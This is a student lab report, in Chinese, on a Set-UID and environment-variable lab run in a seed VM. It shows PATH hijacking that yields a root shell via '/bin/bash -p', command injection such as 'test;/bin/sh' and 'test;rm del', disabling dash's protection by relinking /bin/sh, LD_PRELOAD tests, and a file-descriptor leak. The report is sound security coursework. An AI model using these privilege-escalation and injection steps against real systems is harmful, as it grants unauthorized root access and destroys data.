信息安全实验报告

Lab 2　Set-UID and EVA

孙铁

SA20225414

Task 1

输入 printenv 或 env 打印所有的环境变量 (部分截图如下):

```
seed@seed-VirtualBox:~$ printenv
XDG_VTNR=7
XDG_SESSION_ID=c1
XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/seed
CLUTTER_IM_MODULE=xim
SESSION=ubuntu
GPG_AGENT_INFO=/home/seed/.gnupg/S.gpg-agent:0:1
TERM=xterm-256color
VTE_VERSION=4205
XDG_MENU_PREFIX=gnome-
SHELL=/bin/bash
QT_LINUX_ACCESSIBILITY_ALWAYS_ON=1
WINDOWID=67108874
UPSTART_SESSION=unix:abstract=/com/ubuntu/upstart-session/1000/1111
GNOME_KEYRING_CONTROL=
GTK_MODULES=gail:atk-bridge:unity-gtk-module
USER=seed
```

输入 printenv 或 env | grep 后接环境变量名打印特定环境变量

```
seed@seed-VirtualBox:~$ printenv PWD
/home/seed
seed@seed-VirtualBox:~$ env | grep PWD
PWD=/home/seed
```

输入 export 后接环境变量名修改特定环境变量

```
seed@seed-VirtualBox:~$ export PWD=/home
seed@seed-VirtualBox:/home$ printenv PWD
/home
```

输入 unset 后接环境变量名取消设置

```
seed@seed-VirtualBox:/home$ unset PWD
```

此时发现环境变量表中的 PWD 被删除:

```
XDG_SESSION_TYPE=x11
PWD=/home/seed
JOB=unity-settings-daemon
```



```
XDG_SESSION_TYPE=x11
JOB=unity-settings-daemon
```

Task 2

分析代码，可以看出其作用是通过 fork 函数创建子进程，并打印其环境变量。

将代码命名为 task2.c 并编译运行，将结果输出到 child 文件

```
seed@seed-VirtualBox:~$ gcc task2.c
seed@seed-VirtualBox:~$ ./a.out > child
```

注释掉 ① ，并将 ② 注释取消，再次编译运行，将结果输出到 child2 文件

```
seed@seed-VirtualBox:~$ gcc task2.c
seed@seed-VirtualBox:~$ ./a.out > child2
```

比较 child 与 child2

```
seed@seed-VirtualBox:~$ diff child child2
seed@seed-VirtualBox:~$
```

根据结果可以看出，child 与 child2 没有不同

本部分实验其实是分别获取了父进程与其调用 fork 函数创建的子进程的环境变量，并进行对比。根据结果可以看出，子进程会继承父进程所有的环境变量。

Task 3

分析代码，其作用是调用 execve 函数开启一个新进程。

将代码命名为 task3.c 并编译运行

```
seed@seed-VirtualBox:~$ gcc task3.c
task3.c: In function ‘main’:
task3.c:11:3: warning: implicit declaration of function ‘execve’ [-Wimplicit-function-declaration]
   execve("/usr/bin/env", argv, NULL); //①
   ^
seed@seed-VirtualBox:~$ ./a.out
seed@seed-VirtualBox:~$
```

没有输出

将 ① 修改为 “ execve("/usr/bin/env", argv, environ); ”，并编译运行

```
seed@seed-VirtualBox:~$ gcc task3.c
task3.c: In function ‘main’:
task3.c:11:3: warning: implicit declaration of function ‘execve’ [-Wimplicit-function-declaration]
   execve("/usr/bin/env", argv, environ);
   ^
seed@seed-VirtualBox:~$ ./a.out
XDG_VTNR=7
XDG_SESSION_ID=c1
XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/seed
CLUTTER_IM_MODULE=xim
SESSION=ubuntu
GPG_AGENT_INFO=/home/seed/.gnupg/S.gpg-agent:0:1
TERM=xterm-256color
VTE_VERSION=4205
XDG_MENU_PREFIX=gnome-
SHELL=/bin/bash
QT_LINUX_ACCESSIBILITY_ALWAYS_ON=1
WINDOWID=67108874
UPSTART_SESSION=unix:abstract=/com/ubuntu/upstart-session/1000/1111
GNOME_KEYRING_CONTROL=
GTK_MODULES=gail:atk-bridge:unity-gtk-module
```

输出了环境变量（部分截图）

execve 函数是系统调用函数，进程通过 execve 函数开启新进程时，原进程的内存会被新进程数据覆盖，这就导致原进程的环境变量将会丢失。

execve 函数有三个参数：要运行的新程序路径；新程序的所有参数；新进程的环境变量。新进程可以根据 execve 函数的参数来获取环境变量：当 execve 函数第三个参数为 NULL 时将不传递环境变量；将 execve 函数的第三个参数由 NULL 改为 environ，则可以将调用 execve 函数的进程的所有环境变量传递给新进程。

Task 4

分析代码，其作用是调用 system 函数开启一个程序位置在 /usr/bin/env 的进程。

将代码命名为 task4.c 并编译运行：

```
seed@seed-VirtualBox:~$ gcc task4.c
seed@seed-VirtualBox:~$ ./a.out
LESSOPEN=| /usr/bin/lesspipe %s
GNOME_KEYRING_PID=
USER=seed
UNITY_HAS_3D_SUPPORT=false
UNITY_DEFAULT_PROFILE=unity-lowgfx
LANGUAGE=zh_CN:zh
UPSTART_INSTANCE=
XDG_SEAT=seat0
SESSION=ubuntu
XDG_SESSION_TYPE=x11
COMPIZ_CONFIG_PROFILE=ubuntu
SHLVL=1
LIBGL_ALWAYS_SOFTWARE=1
HOME=/home/seed
QT4_IM_MODULE=fcitx
DESKTOP_SESSION=ubuntu
QT_LINUX_ACCESSIBILITY_ALWAYS_ON=1
GTK_MODULES=gail:atk-bridge:unity-gtk-module
XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0
INSTANCE=
DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-lHL8YKwu8S
GNOME_KEYRING_CONTROL=
```

输出了新进程的环境变量。

system 函数调用 execl 函数，然后 execl 函数调用 execve 函数传递环境变量。

Task 5

分析代码， 其作用是打印全部的环境变量。

将代码命名为 task5.c 并编译运行（部分截图）：

```
seed@seed-VirtualBox:~$ gcc task5.c
seed@seed-VirtualBox:~$ ./a.out
XDG_VTNR=7
XDG_SESSION_ID=c1
XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/seed
CLUTTER_IM_MODULE=xim
SESSION=ubuntu
GPG_AGENT_INFO=/home/seed/.gnupg/S.gpg-agent:0:1
TERM=xterm-256color
VTE_VERSION=4205
XDG_MENU_PREFIX=gnome-
SHELL=/bin/bash
QT_LINUX_ACCESSIBILITY_ALWAYS_ON=1
WINDOWID=65011722
UPSTART_SESSION=unix:abstract=/com/ubuntu/upstart-session/1000/1122
GNOME_KEYRING_CONTROL=
GTK_MODULES=gail:atk-bridge:unity-gtk-module
USER=seed
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd
```

将此程序拥有者改为 root 用户，并把他变为一个 Set-UID 程序

```
seed@seed-VirtualBox:~$ sudo chown root a.out
seed@seed-VirtualBox:~$ sudo chmod 4755 a.out
```

发现此时的程序图标右下角多了一个锁 

设置环境变量 PATH，LD_LIBRARY_PATH，ANYNAME：

```
seed@seed-VirtualBox:~$ export PATH=$PATH:/1/
seed@seed-VirtualBox:~$ export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/2/
seed@seed-VirtualBox:~$ export ANYNAME=3
```

运行 Set-UID 程序 a.out，会生成一个子进程执行此程序

可以看到 PATH 与 ANYNAME 都被修改：

```
PATH=/home/seed/bin:/home/seed/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sb
in:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/1/
ANYNAME=3
```

但并未出现 LD_LIBRARY_PATH，说明子进程的 LD_LIBRARY_PATH 环境变量未被修改。

Task 6

分析代码，其作用是通过 system 函数调用“ls”指令，列出当前目录的所有文件。

将代码命名为 task6.c 并编译运行

```
seed@seed-VirtualBox:~$ gcc task6.c
task6.c: In function ‘main’:
task6.c:3:1: warning: implicit declaration of function ‘system’ [-Wimplicit-func
tion-declaration]
 system("ls");
 ^
seed@seed-VirtualBox:~$ ./a.out
a.out   examples.desktop  task2.c  task5.c  模板  文档  桌面
child   host              task3.c  task6.c  视频  下载
child2  seed              task4.c  公共的   图片  音乐
```

将此程序拥有者改为 root 用户，并把他变为一个 Set-UID 程序

```
seed@seed-VirtualBox:~$ sudo chown root a.out
seed@seed-VirtualBox:~$ sudo chmod 4755 a.out
```

考虑如何让 a.out 运行时并不执行“ls”命令，而是转为执行一个自定义的程序：Shell 程序运行命令时，如果没有提供命令的具体位置，则将在 PATH 环境变量中搜索命令。通过修改 PATH 环境变量，在 PATH 的头部进行修改，插入一个与命令名称相同的“ls”程序的路径。这样程序创建进程时就会先搜索修改所指向的目录，调用预先准备好的“ls”程序。

编写 ls 程序

```c
#include <stdio.h>

int main()
{
    printf("1234");
}
```

并编译 ls.c 为可执行文件 ls.out

```
seed@seed-VirtualBox:~$ touch ls.c
seed@seed-VirtualBox:~$ gcc -o ls ls.c
```

由于 /bin/dash 中对这种 Set-UID 程序的攻击有所防护。为了取得攻击效果，需要将 /bin/sh 链接到另一个没有这种防护措施的 shell 程序 bin/zsh。

```
seed@seed-VirtualBox:~$ sudo rm /bin/sh
seed@seed-VirtualBox:~$ sudo ln -s /bin/zsh /bin/sh
```

在 PATH 环境变量头部加入代表当前目录的“.”

```
seed@seed-VirtualBox:~$ export PATH=.:$PATH
```

运行 a.out

```
seed@seed-VirtualBox:~$ ./a.out
1234seed@seed-VirtualBox:~$
```

成功运行了“ls”程序

查看权限，没有显示有效用户：

```
seed@seed-VirtualBox:~$ ./a.out
1234seed@seed-VirtualBox:~$ id
uid=1000(seed) gid=1000(seed) 组=1000(seed)
13(lpadmin),128(sambashare)
```

更改 ls.c 文件为：

```c
#include <stdio.h>
int main()
{
    //printf("1234");
    system("/bin/bash -p");
}
```

编译为可执行文件 ls.out

运行 a.out 并查看权限：

```
seed@seed-VirtualBox:~$ ./a.out
bash-4.3# id
uid=1000(seed) gid=1000(seed) euid=0(root)
```

可以看到有效权限为 root，说明此 shell 确实以 root 权限运行。

Task 7

分析代码 1， 其作用是重写了标准 libc 共享库中的 sleep 函数。

将其命名为 mylib.c 并使用如下命令编译

```
seed@seed-VirtualBox:~$ gcc -fPIC -g -c mylib.c
seed@seed-VirtualBox:~$ gcc -shared -o libmylib.so.1.0.1 mylib.o -lc
```

修改 LD_PRELOAD

```
seed@seed-VirtualBox:~$ export LD_PRELOAD=./libmylib.so.1.0.1
```

编写 myprog.c 如下：

```c
int main()
{
  sleep(1);
  return 0;
}
```

将其编译为可执行文件 myprog

```
seed@seed-VirtualBox:~$ gcc myprog.c -o myprog
myprog.c: In function ‘main’:
myprog.c:3:3: warning: implicit declaration of function ‘sleep’ [-Wimplicit-func
tion-declaration]
   sleep(1);
   ^
```

接下来尝试在不同情况下运行 myprog:

1. 以普通用户身份运行 myprog 程序：

   ```
   seed@seed-VirtualBox:~$ ./myprog
   I am not sleeping!
   ```

   调用了重写函数

2. 将程序 myprog 拥有者设为 root，并将其变为 Set-UID 程序，以普通用户身份运行：

   ```
   seed@seed-VirtualBox:~$ sudo chown root myprog
   seed@seed-VirtualBox:~$ sudo chmod 4755 myprog
   seed@seed-VirtualBox:~$ ./myprog
   seed@seed-VirtualBox:~$
   ```

   睡眠 1s，未调用重写函数。

3. 在 root 账户下设置 LD_PRELOAD，将程序 myprog 拥有者设为 root，并将其变为 Set-UID 程序，以 root 身份运行：

   ```
   root@seed-VirtualBox:/home/seed# export LD_PRELOAD=./libmylib.so.1.0.1
   root@seed-VirtualBox:/home/seed# ./myprog
   I am not sleeping!
   ```

   调用了重写函数。

4. 设置 LD_PRELOAD，将程序 myprog 拥有者设为 user1，并将其变为 Set-UID 程序，用另一个非 root 用户 user2 运行 myprog：

   创建新用户 newuser：

```
seed@seed-VirtualBox:~$ sudo useradd newuser
```

   将 myprog 程序拥有者设为 newuser，并将其变为 Set-UID 程序：

```
seed@seed-VirtualBox:~$ sudo chown newuser myprog
seed@seed-VirtualBox:~$ sudo chmod 4755 myprog
```

   以 seed 用户身份运行：

```
seed@seed-VirtualBox:~$ ./myprog
seed@seed-VirtualBox:~$
```

   睡眠 1s，未调用重写函数。

根据以上四种情况下的结果可以看出：

当 Set-UID 进程的真实运行用户和有效用户不同时，进程将会忽略环境变量 LD_PRELOAD，所以不会发生重写。

下面针对此结论进行实验验证：

env 是打印环境变量的程序，将其制作一个拷贝 env1。将 env 拥有者设为 root，并将其变为 Set-UID 程序：

```
seed@seed-VirtualBox:~$ cp /usr/bin/env ./env1
seed@seed-VirtualBox:~$ sudo chown root env1
seed@seed-VirtualBox:~$ sudo chmod 4755 env1
```

此时 env1 的有效用户为 root：

```
seed@seed-VirtualBox:~$ ls -l env1
-rwsr-xr-x 1 root seed 30460 4月   5 15:45 env1
```

修改环境变量 LD_PRELOAD，LD_LIBRARY_PATH 以及一个自定义的参考变量 LD_TEST:

```
seed@seed-VirtualBox:~$ export LD_PRELOAD=./libmylib.so.1.0.1
seed@seed-VirtualBox:~$ export LD_LIBRARY_PATH=.
seed@seed-VirtualBox:~$ export LD_TEST="TEST"
```

以 seed 用户分别运行 env 与 env1：

```
seed@seed-VirtualBox:~$ env | grep LD_
LD_PRELOAD=./libmylib.so.1.0.1
LD_LIBRARY_PATH=.
LD_TEST=TEST
seed@seed-VirtualBox:~$ ./env1 | grep LD_
LD_TEST=TEST
```

可以看到 LD_PRELOAD，LD_LIBRARY_PATH 被忽略。

Task 8

分析代码，其作用是调用 cat 命令根据输入文件的名称来查看指定文件，代码本身只有读功能，并没有修改功能。但由于代码使用 system 函数来调用 cat 程序，这就导致用户可以通过间接修改 system 函数的输入参数来获得 root 权限的 shell。

将代码命名为 task8.c 并编译为可执行文件 task，将其转为拥有者为 root 的 Set-UID 程序：

```
seed@seed-VirtualBox:~$ gcc -o task task8.c
seed@seed-VirtualBox:~$ sudo chown root task
seed@seed-VirtualBox:~$ sudo chmod 4755 task
```

为了得到实验效果，依然需要将 /bin/sh 链接到另一个没有防护措施的 shell 程序 bin/zsh：

```
seed@seed-VirtualBox:~$ sudo rm /bin/sh
seed@seed-VirtualBox:~$ sudo ln -s /bin/zsh /bin/sh
```

运行 task 程序并输入“test;/bin/sh”，此时 system 函数就会执行“bin/cat/test”以及“bin/sh”两个命令：

```
seed@seed-VirtualBox:~$ ./task "test;/bin/sh"
/bin/cat: test: 是一个目录
# id
uid=1000(seed) gid=1000(seed) euid=0(root) 组=1000(seed),4(adm),24(cdrom),27(sud
o),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

可以看到获得了一个有效权限为 root 的 shell。

创建一个文件 del，并将拥有者改为 root：

```
seed@seed-VirtualBox:~$ touch del
seed@seed-VirtualBox:~$ sudo chown root del
```

运行 task 程序并输入“test;rm del”：

```
seed@seed-VirtualBox:~$ ./task "test;rm del"
/bin/cat: test: 是一个目录
seed@seed-VirtualBox:~$ ls -l del
ls: 无法访问'del': 没有那个文件或目录
```

成功删除 del

将 system 函数替换为 execve 函数

```
//system(command);
execve(v[0], v, NULL);
```

```
seed@seed-VirtualBox:~$ ./task "test;/bin/sh"
/bin/cat: 'test;/bin/sh': No such file or directory
```
发现同样的攻击方式不能提权了。

system 函数执行 command 的过程中需要调用 fork 函数生成子进程，然后将 command 输入子进程的 shell 来执行。由于 shell 支持一行中输入以分号分隔的两个命令，这就出现了一个被会攻击的漏洞。

而 execve 函数会直接请求操作系统执行输入的指定命令，哪怕输入了额外的指令，也只会被当作一个参数。

Task 9

分析代码，其作用是打开文件并通过文件描述符 fd 对文件进行操作，并在操作结束后，关闭特权，销毁描述符。

将代码命名为 task9.c 并编译，将 a.out 程序转化为拥有者为 root 的 Set-UID 程序：
```
seed@seed-VirtualBox:~$ sudo chown root a.out
seed@seed-VirtualBox:~$ sudo chmod 4755 a.out
```

创建文件 /etc/zzz：
```
seed@seed-VirtualBox:~$ sudo touch /etc/zzz
```

运行 a.out 程序并查看 /etc/zzz 中内容：
```
seed@seed-VirtualBox:~$ cat /etc/zzz
seed@seed-VirtualBox:~$ ./a.out
seed@seed-VirtualBox:~$ cat /etc/zzz
Malicious Data
```
可以看到已经成功在文件中写入数据。

这是因为程序在打开文件完成操作之后，虽然调用 setuid 函数关闭了特权，但子进程中的文件操作符并没有被销毁，导致非特权进程依然可以对文件进行修改。